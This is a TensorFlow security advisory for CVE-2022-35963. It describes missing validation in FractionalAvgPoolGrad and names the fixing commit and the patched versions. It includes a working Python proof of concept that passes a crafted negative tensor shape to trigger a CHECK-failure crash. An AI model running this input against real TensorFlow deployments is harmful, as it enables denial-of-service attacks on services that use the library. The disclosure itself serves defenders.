CHECK failures in FractionalAvgPoolGradCVE-2022-35963
The implementation of FractionalAvgPoolGrad does not fully validate the input orig_input_tensor_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack.
import tensorflow as tf overlapping = True orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64) out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64) row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64) col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64) tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)
We have patched the issue in GitHub commit 03a659d7be9a1154fdf5eeac221e5950fec07dad.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.